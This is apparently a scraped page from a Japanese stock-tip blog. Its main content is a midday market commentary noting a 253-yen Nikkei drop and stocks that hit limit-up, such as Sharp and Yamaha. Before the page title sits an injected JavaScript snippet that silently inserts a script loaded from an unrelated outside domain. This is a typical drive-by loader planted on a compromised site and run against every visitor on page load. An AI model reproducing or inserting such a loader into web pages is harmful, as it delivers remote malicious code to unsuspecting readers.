;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【2/5 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【2/5 前引け】

前場の日経平均株価は253円安と4日続落。前日の米市場は上昇したものの、1ドル=116円台後半へのドル安・円高進行が嫌気され売り先行。一巡後下げ渋る場面もあったが、今晩の米雇用統計、週末要因控え戻りは限定的。その後は1万6800円付近でのもみ合いとなっている。業種別では、鉱業、海運業、石油石炭製品、鉄鋼などが値上がり率上位に。一方、輸送用機器、ゴム製品、電気・ガス業、保険業などが値下がり率上位となっている。

個別では、鴻海と優先交渉と報じられている【6753】シャープが大幅続伸となったほか、オプティムと遠隔診療サービスを開始との報道から【6034】MRT。上方修正+配当2円増額の【1798】守谷商会、上方修正+配当増額+自社株買いの【7951】ヤマハなどがストップ高を付けた。物色の流れとしてはやはり材料株、決算シーズンからの好決算銘柄がメインの相場展開。

連日の大幅安もほぼ押し目買いも入らず厳しい展開。週末要因や今晩雇用統計を控えることを考えれば後場も買いはあまり期待できず、日銀によるETF買いはあるかもしれないが影響は限定的と見ておいたほうがいいだろう。今日に関しては素直に様子見が一番かと思う。